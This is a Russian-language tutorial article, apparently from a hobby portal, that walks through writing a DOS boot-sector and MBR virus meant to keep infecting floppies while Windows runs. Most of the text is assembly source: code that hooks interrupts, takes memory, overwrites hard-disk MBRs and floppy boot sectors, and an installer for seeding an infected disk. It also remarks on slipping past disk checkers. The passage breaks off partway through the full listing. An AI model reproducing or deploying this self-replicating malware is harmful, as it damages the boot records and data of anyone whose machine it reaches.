BOOT - вирус с нестандартным алгоритмом активизации  Развлекательный портал !!!       


 

* Данная работа является обновленной версией статьи "Несколько слов о
загрузочных вирусах".По сравнению с предыдущей версией, статья суще-
ственно переработана и дополнена:
1.Алгоритм работы вируса принципиально изменен.Теперь вирус работает
при запуске из - под WINDOWS различных DOS - приложений ( VC, NC и
т.п. ). Предыдущая версия такой возможностью не обладала.
2.Исключен материал по переделке вируса в STEALTH.
3.Изменены кое - какие мелочи
4.Желающие ознакомиться с предыдущей версией статьи могут воспользо-
ваться моей книжкой, ссылка на которую находится в конце докумен-
та.

1.1 Краткие сведения о начальной загрузке персонального компьютера

Для начала следует сказать несколько слов о том, как происходит на-
чальная загрузка ЭВМ. После проверки аппаратной части компьютера и за-
полнения таблицы векторов прерываний BIOS пытается прочитать первый
сектор нулевой дорожки нулевой стороны диска в дисководе " A ". Этот
сектор помещается в память по адресу 0000:7C00h, после чего на указан-
ный адрес передается управление. В прочитанном секторе содержится про-
грамма начальной загрузки (BOOT - запись) и некоторые другие сведения,
необходимые для доступа к данным на диске. Программа начальной загру-
зки проверяет, является - ли диск системным. Если это так,то загрузка
операционной системы с диска продолжается, а если нет, то на экран вы-
водится сообщение :

Non system disk or disk error
Replace and press any key when ready .

после чего система ожидает действий оператора.Если же диск в " A " -
дисководе отсутствует,то программа BIOS считывает первый сектор нуле-
вой дорожки нулевой стороны первого жесткого диска. Он также помеща-
ется в память по адресу 0000:7C00h, после чего по указанному адресу
передается управление.В прочитанном секторе на жестком диске записана
так называемая MBR (главная загрузочная запись). MBR является про-
граммой, которая определяет активный раздел жесткого диска, считывает
загрузочную запись (BOOT - запись) этого раздела в оперативную память
и отдает ей управление.Дальше все происходит, как при загрузке системы
с гибкого диска. Как видим, процесс загрузки с винчестера является как
бы двухступенчатым.
Если же программа MBR не нашла активный раздел, то выдается сообщение
об отсутствии загрузочных устройств, и система останавливается.В неко-
торых старых машинах при невозможности запустить операционную систему
загружается встроенный язык БЕЙСИК,записанный в микросхемах ПЗУ.

1.2 Понятие о загрузочных вирусах

Загрузочными называют вирусы, способные заражать загрузочные сектора
гибких и жестких дисков и получающие управление при попытке "запус-
тить " операционную систему с зараженного диска.
Можно выделить следующие основные разновидности вирусных программ
указанного типа :

1. Заражающие BOOT - сектора гибких дисков
2. Заражающие BOOT - запись активного раздела жесткого диска и
BOOT - сектора гибких дисков
3. Заражающие MBR (Master Boot Record) жесткого диска и BOOT - сектора
гибких дисков

Отметим, что заражение BOOT - секторов дискет является обязательным,
иначе вирус просто не сможет распространяться .
Кроме того, почти все загрузочные вирусы являются резидентными, что
объясняется спецификой их работы.

1.3 Анализ традиционного алгоритма работы загрузочного вируса

Как вы, вероятно, знаете, почти все загрузочные вирусы перехватывают
Int 13h и заражают гибкие диски при попытке чтения или записи их со-
держимого через это прерывание.Но, оказывается, такой метод имеет один
серьезный недостаток: при работе под WINDOWS вирус отказывается инфи-
цировать загрузочные сектора дискет.С целью выяснить причины этого яв-
ления автор провел множество экспериментов, которые дали следующий ре-
зультат:
При чтении или записи гибких дисков WINDOWS не вызывает Int 13h, а
взаимодействует непосредственно с контроллером дисковода, работая с
его портами ввода - вывода.

Ясно, что при таком методе работы наш вирус никогда не получит управ-
ления, а будет просто присутствовать в памяти.Таким образом, с помощью
старых методов заставить BOOT - вирус нормально работать под WINDOWS,
скорее всего,не удастся.Необходим совершенно новый подход.Но об этом -
в следующем пункте.
***
Следует заметить,что при работе с жестким диском WINDOWS все же вы-
зывает Int 13h, что следует из проведенных автором экспериментов.
***

1.4 Разрабатываем новый алгоритм активизации

Легче всего сказать, что подход должен быть новым. Труднее предложить
что - то по существу. Были придуманы несколько методик, но все они не
дали положительного результата. И тут автор неожиданно получил очень
своеобразное предложение - вместо Int 13h использовать для активизации
вируса Int 21h. В самом деле, почему бы нам не перехватить Int 21h, и
не попробовать проследить за сменой текущего диска (функция 0Eh).И как
только активным станет дисковод " A " или " B ", заразить диск в этом
дисководе!!! Просто и со вкусом ( идея Danny Dio, за что ему - благо-
дарность ). А мы продолжаем.

1.5 О перехвате Int 21h программой,
загружаемой из Master Boot Record

Дело за малым - осталось перехватить Int 21h,и задача решена. Но выяс-
нилось, что это не так просто. Естественно было бы поступить так :

1. Первым делом установить вектор Int 1Ch или Int 08h (оба - таймер)
на собственный обработчик.
2. Этот обработчик следит за вектором Int 21h, и как только последний
изменяется - перехватывает Int 21h.
3. Далее обработчик Int 1Ch (Int 08h) " обезвреживает " себя в памяти,
например, командой "IRET", чтобы машина не зависала.

Так и было сделано, после чего началось самое интересное. Обработчик
Int 21h исправно выполнялся несколько секунд,после чего его бессовес-
тно топили - то ли MSDOS.SYS, то ли COMMAND.COM - не важно.Чтобы из-
бавиться от этого эффекта, я придумал кучу способов - например, ждал
не первого изменения вектора Int 21h, а третьего, десятого и т.п. Как
ни странно,ничего не получалось.Конечно,можно было бы поступить и так:

1. Отловить момент, когда OC уже загружена и начинают выполняться про-
граммы, записанные, например, в AUTOEXEC.BAT.
2. Перехватить Int 21h.

Проблема здесь в следующем: совершенно неясно, как именно засечь этот
замечательный момент.Кроме того,такой метод тоже не дает стопроцентной
гарантии. Поэтому идею пришлось отклонить, а вместо нее предложить ал-
горитм,который обсуждается в следующем пункте.

1.6 О применении вектора Int 16h

Как вы, наверное, знаете, прерывание Int 16h является программным и
может вызываться,например,из программы пользователя для выполнения не-
которых действий, таких как чтение символа с клавиатуры, получение ее
флагов и т.п. При этом оно обладает одним замечательным свойством, а
именно - пользовательский обработчик Int 16h не утапливается WINDOWS
при загрузке,и вызывается даже в WORDе, EXCELе и FARе.Так, в проведен-
ном автором эксперименте, при нажатии двух SHIFTов загрузочный сектор
дискеты считывался и тут же записывался на место. Опытная программа
загружалась из MBR и работала в любых WINDOWS - приложениях. Этот факт
решено было использовать для построения "непотопляемой" процедуры об-
работки Int 21h. Итак, предлагаю такой алгоритм:

1. Установить вектор Int 16h на вирусный обработчик.
2. Этот обработчик постоянно вызывает вирусную процедуру Int 21h какой
- нибудь экзотической собственной функцией, типа AX = 0BABCh.
3. Если вирусная процедура обработки Int 21h активна, она должна " от-
ветить " на этот вызов (пусть это будет AL = 98h). Если ответа нет,
обработчик Int 21h не установлен или утоплен, поэтому Int 21h сле-
дует перехватить.

Не совсем просто, но тоже со вкусом.Сами процедуры обработки Int 16h
и Int 21h могут быть,например, такими:
***
Текст обработчика Int 16h:

new_16h: push ax ;Сохраним
push bx ;регистры
push dx ;в
push ds ;стеке
push es ;
pushf ;
;
mov ax,0babch ;Вызовем вирусный
int 21h ;обработчик
cmp al,98h ;Int 21h собст-
je cs:rrr_rrr ;венной функцией
;AX = 0babch.Если
;обработчик акти-
;вен, мы должны
;получить AL=98h,
;иначе Int 21h
;следует перехва-
;тить, чем мы и
;займемся:
push cs ;DS = CS
pop ds ;
;
cli ;Запретить преры-
;вания
mov ax,3521h ;Получим и сохра-
int 21h ;ним вектор
mov old_21h - 100h,bx ;Int 21h
mov old_21h_2 - 100h,es;
;
mov ax,2521h ;А теперь пере-
mov dx,to_new_21h ;ставим этот век-
int 21h ;тор на вирусный
;обработчик
sti ;Разрешить преры-
;вания
rrr_rrr: popf ;Восстановим
pop es ;из
pop ds ;стека
pop dx ;регистры
pop bx ;
pop ax ;
;
db 0eah ;И перейдем на
old_16h dw 0 ;системный обра-
old_16h_2 dw 0 ;ботчик Int 16h

***
Текст обработчика Int 21h (он отслеживает смену
оператором текущего диска.Если текущим станови-
тся диск "A" или "B", обработчик заражает этот
диск):

new_21h: pushf ;Этот участок
cmp ax,0babch ;обработчика
jne cs:else_func ;Int 21h отвечает
mov al,98h ;обработчику
popf ;Int 16h значени-
iret ;ем AL = 98h; это
;служит признаком
;активности виру-
;сной процедуры
;обработки
;Int 21h
;
else_func: popf ;Сохраним
push ax ;регистры
push bx ;в
push cx ;стеке
push dx ;
push di ;
push ds ;
push es ;
pushf ;
;
cmp ah,0eh ;Смена текущего
;диска ?
jne cs:restore_regs ;Нет - на выход
cmp dl,1 ;Да - текущим
;хотят сделать
;" A " или " B "
;дисковод ?
ja cs:restore_regs ;Нет - на выход
;Иначе - продол-
;жим :
Далее следует " заразная " часть процедуры обработки Int 21h:

; ...
; ...
; ...
; ...
; ...

restore_regs: ;Восстановим из
popf ;стека регистры
pop es ;
pop ds ;
pop di ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
;
db 0eah ;И перейдем на
old_21h dw 0 ;системный обра-
old_21h_2 dw 0 ;ботчик Int 21h

***
Кстати,использовать в данном случае Int 09h вместо Int 16h нельзя.
Дело в том, что при загрузке WINDOWS топит все пользовательские
программы,которые "зацеплены" за этот вектор. Топится даже великий
и могучий KEYRUS.COM,не говоря уже о наших вирусах.

1.7 Общий алгоритм работы вируса

Теперь настало время создать алгоритм работы нашего вируса, чем мы и
займемся. Только сначала условимся,что наш вирус будет заражать загру-
зочные сектора гибких дисков и MBR ( Master Boot Record ) первого жес-
ткого диска.Поэтому можно предложить следующий "план работы":
Попав при начальной загрузке машины в память по адресу 0000:7C00h, ви-
рус должен выполнить такие действия:

1. Установить регистры SS и SP на собственный стек
2. " Отрезать " у системы несколько килобайтов памяти
3. Переписать свой код в полученную область памяти
4. Передать управление следующей секции своего кода, уже расположенной
в конце основной памяти.

Эта секция, в свою очередь, должна :

1. Переопределить вектор прерывания Int 16h на вирусный код
2. Считать настоящий загрузочный сектор в память по адресу 0000:7C00h
3. Проверить, заражен - ли винчестер. Если нет, то заразить его MBR
4. Передать управление настоящему загрузочному сектору,находящемуся по
адресу 0000:7C00h

Далее выполняется загрузка операционной системы. Вирусный обработчик
Int 16h, как было сказано выше, следит за состоянием обработчика Int
21h, и перехватывает это прерывание, если по какой - либо причине ви-
русная процедура обработки Int 21h не активна.Алгоритм его работы под-
робно описан в предыдущем пункте.
Как вы уже знаете," заразные " функции мы возложим на обработчик пре-
рывания Int 21h. О том, как это будет реализовано, тоже было рассказа-
но выше.

Под заражением понимают запись вирусного кода в BOOT - сектор дискеты
или в MBR винчестера.Понятно, что при загрузке с винчестера проверять
его на зараженность бессмысленно. И тем не менее,наш вирус делает это,
так как отключить проверку жесткого диска не так просто.
Хотелось бы сказать о том, какой должна быть максимальная длина вирус-
ного кода.Если мы хотим поместить вирус в загрузочный сектор целиком,
следует учесть два момента.

1. Собственно программа загрузки в MBR занимает не более, чем 446 байт
(см. ПРИЛОЖЕНИЕ 2)
2. Программа загрузки в BOOT - секторе дискеты имеет разный размер в
разных версиях DOS. В самом " предельном " случае она начинается со
смещения 0055h относительно начала сектора.Два последних байта BOOT
и MBR содержат код: 55AAh. Если его затереть,система перестанет за-
гружаться с испорченного таким образом диска.

Отсюда следует очевидный вывод - размер кода вируса не может превы-
шать : 200h - 55h - 02h = 1A9h = 425 байт! Если вы не выйдете за эту
границу, обращение к диску будет происходить корректно.Кроме того,даже
NORTON DISK DOCTOR не будет замечать изменений программы загрузки в
BOOT - секторе дискеты или MBR винчестера, что, согласитесь, очень
важно.

1.8 Как начинается распространение вируса

Для внедрения загрузочного вируса в компьютер достаточно попробовать
загрузиться с зараженной дискеты, при этом дискета не обязательно дол-
жна быть загрузочной.В этом состоит особенность BOOT - вирусов. Итак,
чтобы вирус начал распространяться,достаточно заразить им гибкий диск,
а потом попытаться загрузиться с него на той или иной машине.

1.9 Начало работы

Обычно для создания вирусов используют COM - формат. Поэтому :

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h

1.10 Вирус получает управление

Как вы уже знаете, загрузочный вирус получает управление только при
загрузке операционной системы. Далее он должен " отрезать " у DOS нес-
колько килобайтов памяти и переписать свой код в полученную область.
Для выполнения этих функций можно предложить такой фрагмент :

my_prg: jmp installer ;Переход на сек-
;цию инсталляции
dw 7bfeh ;Установка соб-
;ственного стека
;
push cs ;DS = CS
pop ds ;
;
sub word ptr ds:[0413h],2 ;"Отрежем" у DOS
mov ax,ds:[0413h] ;два килобайта
mov cl,6 ;памяти и вычис-
;лим
sal ax,cl ;сегментный ад-
;рес,по которому
;находится полу-
;ченный блок
mov es,ax ;Поместим адрес
;в ES
xor si,si ;И скопируем код
mov cx,prg_lenght ;вируса длиной
prg_copy: db 8ah ;"prg_lenght" в
db 9ch ;память по адре-
additor db 00h ;су ES : 0000h
db 7ch ;Сам код при за-
mov byte ptr es:[si],bl;грузке помещае-
inc si ;тся BIOS по ад-
loop cs:prg_copy ;ресу 0000:7C00h
;
push ax ;Запишем в стек
mov ax,to_read_boot ;адрес ES:to_re-
push ax ;ad_boot и осу-
db 0cbh ;ществим переход
;на этот адрес

Поскольку операционная система к моменту начала выполнения этого фра-
гмента еще не загружена,"увести" у вычислительной системы два килобай-
та памяти не предсталяет никакого труда. Для этого просто следует уме-
ньшить на два число,расположенное в области данных BIOS по адресу :
0000:0413h.Загрузившись,операционная система не будет замечать занятую
вирусом память. Даже такие программы, как RELEASE или Volkov Commander
(нажмите ALT + F5) не помогут обнаружить,где именно "притаился" вирус.

Машинный код
db 8ah ;
db 9ch ;
additor db 00h ;
db 7ch ;

является кодом команды " mov bl,byte ptr [si + 7C00h] " и модифициру-
ется в зависимости от того, что именно удалось заразить вирусу - если
загрузка происходит с винчестера,то код будет иметь вид :

db 8ah ;
db 9ch ;
additor db 00h ;
db 7ch ;

а если с дискеты :
db 8ah ;
db 9ch ;
additor db 55h ;
db 7ch ;

Дело в том, что в MBR жесткого диска тело вируса располагается по сме-
щению 0000h от начала сектора,а в BOOT - записи дискеты это же сме-
щение равно 0055h ( см. п. 1.15 ).При заражении того или иного диска
вирус определяет необходимое значение поля " additor", которое потом
будет записано в загрузочный сектор.Команда " ret far " для краткости
записана в виде машинного кода 0CBh.

1.11 Перехватываем Int 16h

Согласно описанному выше алгоритму, настало время перехватить прерыва-
ние Int 16h. Наш вирус будет использовать его для наблюдения за состо-
янием вирусного обработчика Int 21h и перехвата этого прерывания:

to_read_boot equ $ - my_prg ;
;
read_boot: push cs ;DS = CS
pop ds ;
;
xor si,si ;SI = 0
mov es,si ;ES = SI
;
;*************************************************
mov bx,word ptr es:[58h] ;Получим вектор
mov word ptr old_16h - 100h,bx ;Int 16h и
mov bx,word ptr es:[5ah] ;сохраним
mov word ptr old_16h_2 - 100h,bx ;его
;
mov word ptr es:[58h],to_new_16h ;Установим
mov word ptr es:[5ah],cs ;вектор Int 16h
;на вирусный об-
;работчик

Прерывание здесь перехватывается путем непосредственной модификации
вектора в таблице векторов прерываний. Константа "to_read_boot" задает
смещение от начала вирусного кода до метки "read_boot",с которой и на-
чинается код,выполняющий переопределение вектора Int 16h на вирусный
обработчик.Дополнительных пояснений работа фрагмента не требует.

1.12 Читаем исходную BOOT - запись

Сначала договоримся, где наш вирус будет хранить настоящую загрузочную
запись (BOOT - для дискет или MBR - для жестких дисков). Обычно на ну-
левой дорожке нулевой стороны винчестера используется только самый
первый сектор,а остальные свободны. Поэтому было бы естественно сохра-
нить MBR в одном из секторов нулевой дорожки.Нас заинтересовал сектор
с номером 12,но можно было бы взять и любой другой. Только не следует
выбирать сектора с очень большими номерами. Может случиться так, что,
например,сектора с номером 63 на диске просто не существует.Оптималь-
ный номер - не выше двадцати. Для дискет оригинальную BOOT - запись
проще всего записывать в последний сектор последней дорожки на первой
стороне. Для того, чтобы с зараженного диска можно было загрузиться,
вирус должен считать исходную загрузочную запись в память по адресу :
0000:7C00h и после выполнения необходимых действий передать ей управ-
ление :

mov dx,num_head - 100h ;Считаем настоя-
mov cx,cyl_sect - 100h ;щий загрузочный
mov bx,7c00h ;сектор в память
mov ax,0201h ;по адресу
int 13h ;0000:7C00h

В приведенном фрагменте задействованы ячейки памяти :

num_head dw 0 ;Здесь вирус
cyl_sect dw 0 ;хранит номер
;головки,дорожки
;и сектора зара-
;женного диска ,
;в которых запи-
;сана настоящая
;загрузочная
;запись .

Несколько позже мы разберемся,как определяются помещаемые в них значе-
ния.

1.13 Заражаем MBR винчестера

Следуя алгоритму, настало время проверить, заражена - ли MBR первого
жесткого диска, и если нет - заразить ее. Поэтому приступим к делу :

push cs ;ES = CS
pop es ;
;
mov dl,80h ;Считаем MBR
call cs:read_mbr ;винчестера
jc cs:to_quit ;по адресу
;CS:0400h, при-
;чем загрузка
;сейчас может
;производиться
;и с дискеты !
cmp byte ptr ds:[400h],0eh ;MBR уже зара-
je cs:to_quit ;жена ? Да - на
;выход, иначе -
;продолжим :
mov dx,0080h ;Нулевая головка
;первого жестко-
;го диска
mov cx,000ch ;Сектор 12,
;дорожка 0.
;Сохраним эти
;параметры .
call cs:write_mbr_last ;Кроме того,
;перепишем нас-
;тоящую MBR в
;сектор 12
jc cs:to_quit ;нулевой дорожки
;на нулевой сто-
;роне HDD 1.
xor si,si ;Сформируем код
mov additor - 100h,00h ;для записи его
mov cx,prg_lenght ;
copy_vir_mbr: ;на место исход-
mov al,byte ptr ds:[si];ной MBR
mov byte ptr ds:[si + 400h],al ;
inc si ;
loop cs:copy_vir_mbr ;
;
mov dx,0080h ;Запишем этот
call cs:write_mbr ;код в первый
;сектор нулевой
;дорожки нулевой
;стороны винчес-
;тера
;
to_quit: db 0eah ;Отдадим упра-
dw 7c00h ;вление настоя-
dw 0000h ;щей загрузочной
;записи ( MBR )

Как видите, вирус достаточно свободно " чувствует " себя в памяти.Свой
код он записывает в младшие 512 байт первого "отрезанного" у DOS кило-
байта,а MBR винчестера считывает в младшие 512 байт второго килобайта.
Так сделано для большей понятности программы и облегчения программиро-
вания,но один килобайт памяти фактически тратится впустую (что с неко-
торой натяжкой можно отнести к вредным действиям нашего вируса).
Процедура " read_mbr " читает сектор 1 дорожки 0 на нулевой стороне
указанного диска.
Процедура "write_mbr" записывает данные из буфера по адресу : CS:0400h
в сектор 1 дорожки 0 на нулевой стороне указанного диска.
Процедура " write_mbr_last " записывает данные из буфера по адресу :
CS:0400h в заданный сектор того или иного диска и заполняет ячейки па-
мяти :

num_head
и cyl_sect.

Для проверки зараженности MBR вирус сравнивает ее первый байт с первым
байтом своего кода - числом 0Eh.Далее, в поле " additor " заносится
число 00h,необходимое для корректной загрузки с винчестера.Стоит отме-
тить, что заражение MBR происходит исключительно при загрузке с зара-
женной дискеты. Когда операционная система будет загружена,вирус будет
инфицировать только гибкие диски при смене текущего диска на " A " или
" B ".

1.14 Пишем обработчик прерывания Int 16h

Вообще - то, мы его уже написали. Так что загляните в пункт 1.6.

1.15 Пишем обработчик прерывания Int 21h

Приблизительный текст процедуры обработки Int 21h уже приводился выше.
Правда,там отсутствовал фрагмент,собственно выполняющий заражение дис-
кет. Поэтому настало время его создать. Естественно сделать этот фраг-
мент по аналогии с участком программы, который "работает" с винчесте-
ром. Поэтому :

push cs ;ES = CS
pop es ;
;
push cs ;DS = CS
pop ds ;
;
mov cx,3 ;Попробуем про-
next_read: push cx ;честь BOOT -
;сектор дискеты.
call cs:read_mbr ;На это даем три
pop cx ;попытки (напри-
jnc cs:inf_check ;мер,если двига-
;тель дисковода
;не успел разо-
;гнаться до ра-
;бочей скорости,
;то BIOS вернет
;ошибку -дискета
;сменена ! )
xor ah,ah ;При ошибке -
int 13h ;дисковод
jc cs:to_jump ;и повторим
loop cs:next_read ;чтение
to_jump: jmp cs:restore_regs ;
;
;BOOT заражен ?
inf_check: cmp byte ptr ds:[455h],0eh
je cs:to_jump ;Да !
cmp word ptr ds:[40bh],200h ;512 байт в
;секторе ?
jne cs:restore_regs ;Нет - на выход
;
mov ch,79 ;Определим
mov dh,byte ptr ds:[415h]
cmp dh,0f0h ;параметры
je cs:real_80 ;дискеты
cmp dh,0f9h ;по ее
je cs:real_80 ;Media
cmp dh,0fdh ;Descryptor
jne cs:to_jump ;
mov ch,39 ;
real_80: mov dh,01h ;
mov cl,byte ptr ds:[418h]
;Перепишем нас-
;тоящий BOOT в
;последний сек-
;тор последней
;дорожки на пос-
;ледней стороне
call cs:write_mbr_last ;
jc cs:to_jump ;
;
mov additor - 100h,055h;Сформируем код,
xor di,di ;который нужно
mov cx,prg_lenght ;записать на
copy_vir: mov al,byte ptr ds:[di];дискету вместо
mov byte ptr ds:[di + 455h],al ;исходной BOOT -
inc di ;записи
loop cs:copy_vir ;
mov word ptr ds:[400h],053ebh ;
;
xor dh,dh ;И запишем его
call cs:write_mbr ;в первый
;сектор нулевой
;дорожки нулевой
;стороны дискеты
;

Как вы успели заметить,текст процедуры очень похож на текст фрагмента,
который будет заражать жесткий диск. Небольшие отличия связаны со спе-
цификой работы дисковода и винчестера. Дело в том, что жесткий диск
вращается непрерывно (за исключением некоторых новых систем с режимом
экономии электроэнергии), а двигатель дисковода запускается только при
закрытии его флажка (если быть точным,это зависит от конструкции дис-
ковода.) Поэтому,если двигатель дисковода к моменту выполнения опе-
рации чтения не набрал необходимую скорость, BIOS вернет ошибку и со-
общит,что дискета сменена.В этом случае рекомендуется повторить чте-
ние, предварительно сбросив накопитель. Наш вирус повторяет попытку
чтения три раза, после чего в случае неудачи отказывается от зараже-
ния такого диска.
Несколько раньше мы выяснили, что для разных версий MS DOS и WINDOWS
программа начальной загрузки в BOOT - секторе дискеты располагается по
разным смещениям. Сделано это по той причине, что старшие версии опе-
рационной системы хранят в загрузочном секторе более подробные сведе-
ния о диске. Наибольшим смещением, с которым вы когда - либо можете
встретиться, является 0055h. Поэтому наш вирус будет помещать в BOOT -
сектор свой код, ориентируясь именно на приведенное значение. Тогда в
первые два байта сектора должна быть записана команда перехода на на-
чало этого кода, а именно : " EB 53 ".Формат BOOT - сектора приведен в
ПРИЛОЖЕНИИ 2.И последнее - вирус определяет параметры заражаемой дис-
кеты исходя из ее Media Descryptor. Сам Descryptor содержится в BOOT -
секторе любой дискеты и вместе с некоторыми другими параметрами одно-
значно задает ее тип.Интерпретация различных дескрипторов приведена в
конце ПРИЛОЖЕНИЯ 2.

1.16 Используемые процедуры

Фактически вирус уже изготовлен.Осталось лишь привести тексты проце-
дур, которые он будет использовать :

read_mbr proc ;
xor dh,dh ;
mov ax,0201h ;Процедура
mov bx,400h ;читает первый
mov cx,01h ;сектор нулевой
int 13h ;дорожки нулевой
;стороны указан-
ret ;ного накопителя
read_mbr endp ;
;
write_mbr proc ;
mov ax,0301h ;Процедура
mov cx,01h ;помещает вирус-
int 13h ;ный код в BOOT-
;сектор дискеты
ret ;или записывает
write_mbr endp ;его вместо MBR
;винчестера
;
write_mbr_last proc ;Процедура
;переписывает
;исходную BOOT-
;запись или MBR
;в заданный
;сектор зара-
;жаемого диска
push dx ;Если заражается
cmp dl,01h ;диск в дисково-
jne cs:not_correct ;де "B", следует
xor dl,dl ;обнулить номер
not_correct: ;накопителя в
mov num_head - 100h,dx ;ячейке
pop dx ;"num_head",ина-
mov cyl_sect - 100h,cx ;че машина не
;будет загружа-
;ться с такого
;диска.
mov ax,0301h ;Остальное,каже-
int 13h ;тся, ясно.
ret ;
write_mbr_last endp ;

Процедуры построены очень просто, и объяснять их работу, скорее всего,
нет смысла.

1.17 Область данных вируса

Область данных написанного нами загрузочного вируса имеет очень прос-
тую структуру :

vir_name db '' ;Название вируса
;(придумайте са-
;ми, но не более
;девяти байт !)
num_head dw 0 ;Здесь вирус
cyl_sect dw 0 ;хранит номер
;головки,дорожки
;и сектора , в
;которых запи-
;сана настоящая
;загрузочная
;запись
;зараженного
;диска

prg_lenght equ $ - my_prg

Вы можете спросить,почему для имени вируса отведено всего девять байт.
Дело в том,что наш вирус получился довольно большим ( 416 байт ). Нес-
колько раньше мы выяснили, что этот размер не может быть больше, чем
425 байт. А 425 - 416 как раз равно девяти ...

1.18 Пишем секцию инсталляции

Очевидно,в таком виде,в каком сейчас существует наш вирус, его доволь-
но трудно внедрить в систему.Поэтому для облегчения этой "вредительс-
кой" операции напишем специальный инсталлятор. Его функция состоит в
следующем : при старте запускающей программы из командной строки или
из - под оболочки заразить диск в дисководе " A ".Причем диск совсем
не обязательно должен быть загрузочным. Далее с этого диска нужно за-
грузиться на той машине, которую требуется заразить. При этом вирус
заразит MBR ее жесткого диска. Теперь, после загрузки с винчестера,
вирус будет инфицировать все читаемые на зараженной машине диски и на-
чнет распространяться.Исходя из сказанного выше,можно предложить такое
решение :

installer: lea si,my_prg ;Подменим коман-
mov byte ptr [si],00eh ;ду перехода на
mov byte ptr [si + 1],017h ;первые три бай-
mov byte ptr [si + 2],0bch ;та кода вируса
;Начало вируса
;будет иметь
;вид : PUSH CS
; POP SS
;MOV SP,7BFEh.
;Теперь
mov ax,0201h ;попробуем про-
mov cx,01h ;честь BOOT -
xor dx,dx ;сектор дискеты.
lea bx,bufer ;
int 13h ;
jc error ;
;
push es ;Получим пара-
mov ah,08h ;метры дискеты
xor dl,dl ;
int 13h ;
jnc all_good ;
cmp ah,01h ;
jne error ;
mov dh,01h ;
mov ch,27h ;
mov cl,byte ptr bufer [18h] ;
all_good: xor dl,dl ;
mov num_head,dx ;
mov cyl_sect,cx ;
pop es ;
;
mov ax,0301h ;Перепишем нас-
lea bx,bufer ;тоящий BOOT в
int 13h ;последний сек-
jc error ;тор последней
;дорожки на пос-
;ледней стороне
;
mov additor,055h ;Сформируем код,
lea si,bufer + 55h ;который нужно
lea di,my_prg ;записать на
mov cx,prg_lenght ;дискету вместо
copy_boot: mov al,byte ptr [di] ;исходной BOOT -
mov byte ptr [si],al ;записи
inc si ;
inc di ;
loop copy_boot ;
mov word ptr bufer[0],053ebh ;
;
mov ax,0301h ;И запишем его
mov cx,01h ;в первый
mov dx,0 ;сектор нулевой
lea bx,bufer ;дорожки нулевой
int 13h ;стороны дискеты
jnc prg_end ;
;
error: mov ah,09h ;Если была оши-
lea dx,err_mes ;бка - выведем
int 21h ;сообщение о ней
;
prg_end: mov ax,4c00h ;Завершаем за-
int 21h ;пускающую про-
;грамму
err_mes db 'Error !$' ;Сообщение
bufer db 512 dup ( 0 ) ;В этот буфер
;считывается
;BOOT - сектор
;заражаемой
;дискеты
prg ends ;Стандартное
end my_prg ;окончание ASM-
;программы ...

Если вирусу не удалось заразить диск, то выдается сообщение "ERROR !".
В этом случае попытку заражения просто нужно повторить.И еще - если вы
хотите узнать, зачем понадобились первые четыре команды инсталлятора,
вам следует посмотреть приводимый ниже полный текст вирусной програм-
мы. Обратите внимание на первую команду, а именно : " jmp installer ".
Инсталлятор замещает ее кодом,устанавливающим собственный стек вируса,
и поэтому в заражаемые сектора эта команда не попадет.

1.19 Текст загрузочного вируса

Ниже представлен текст предлагаемого вируса :
; _______________________________________________
;| |
;| BOOT & MBR virus, Especially for my readers ! |
;|_______________________________________________|

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h

my_prg: jmp installer ;Переход на сек-
;цию инсталляции
dw 7bfeh ;Установка соб-
;ственного стека
;
push cs ;DS = CS
pop ds ;
;
sub word ptr ds:[0413h],2 ;"Отрежем" у DOS
mov ax,ds:[0413h] ;два килобайта
mov cl,6 ;памяти и вычис-
;лим
sal ax,cl ;сегментный ад-
;рес,по которому
;находится полу-
;ченный блок
mov es,ax ;Поместим адрес
;в ES
xor si,si ;И скопируем код
mov cx,prg_lenght ;вируса длиной
prg_copy: db 8ah ;"prg_lenght" в
db 9ch ;память по адре-
additor db 00h ;су ES : 0000h
db 7ch ;Сам код при за-
mov byte ptr es:[si],bl;грузке помещае-
inc si ;тся BIOS по ад-
loop cs:prg_copy ;ресу 0000:7C00h
;
push ax ;Запишем в стек
mov ax,to_read_boot ;адрес ES:to_re-
push ax ;ad_boot и осу-
db 0cbh ;ществим переход
;на этот адрес
to_read_boot equ $ - my_prg ;
;
read_boot: push cs ;DS = CS
pop ds ;
;
xor si,si ;SI = 0
mov es,si ;ES = SI

;**********************************
mov bx,word ptr es:[58h] ;Получим вектор
mov word ptr old_16h - 100h,bx ;Int 16h и
mov bx,word ptr es:[5ah] ;сохраним
mov word ptr old_16h_2 - 100h,bx ;его
;
mov word ptr es:[58h],to_new_16h ;Теперь установим
mov word ptr es:[5ah],cs ;вектор Int 16h
;на вирусный об-
;работчик
;
mov dx,num_head - 100h ;Считаем настоя-
mov cx,cyl_sect - 100h ;щий загрузочный
mov bx,7c00h ;сектор в память
mov ax,0201h ;по адресу
int 13h ;0000:7C00h
;
push cs ;ES = CS
pop es ;
;
mov dl,80h ;Считаем MBR
call cs:read_mbr ;винчестера
jc cs:to_quit ;по адресу
;CS:0400h, при-
;чем загрузка
;сейчас может
;производиться
;и с дискеты !
cmp byte ptr ds:[400h],0eh ;MBR уже зара-
je cs:to_quit ;жена ? Да - на
;выход, иначе -
;продолжим :
mov dx,0080h ;Нулевая головка
;первого жестко-
;го диска
mov cx,000ch ;Сектор 12,
;дорожка 0.
;Сохраним эти
;параметры .
call cs:write_mbr_last ;Кроме того,
;перепишем нас-
;тоящую MBR в
;сектор 12
jc cs:to_quit ;нулевой дорожки
;на нулевой сто-
;роне HDD 1.
xor si,si ;Сформируем код
mov additor - 100h,00h ;для записи его
mov cx,prg_lenght ;
copy_vir_mbr: ;на место исход-
mov al,byte ptr ds:[si];ной MBR
mov byte ptr ds:[si + 400h],al ;
inc si ;
loop cs:copy_vir_mbr ;
;
mov dx,0080h ;Запишем этот
call cs:write_mbr ;код в первый
;сектор нулевой
;дорожки нулевой
;стороны винчес-
;тера
;
to_quit: db 0eah ;Отдадим упра-
dw 7c00h ;вление настоя-
dw 0000h ;щей загрузочной
;записи ( MBR )

;**************************************************
;
;Здесь начинается вирусный обработчик Int 16h. Наш
;вирус использует его, чтобы следить за состоянием
;вирусного обработчика Int 21h и при необходимости
;перехватывать Int 21h.

to_new_16h equ $ - my_prg ;
;
new_16h: push ax ;Сохраним
push bx ;регистры
push dx ;в
push ds ;стеке
push es ;
pushf ;
;
mov ax,0babch ;Вызовем вирусный
int 21h ;обработчик Int 21h
cmp al,98h ;собственной функцией
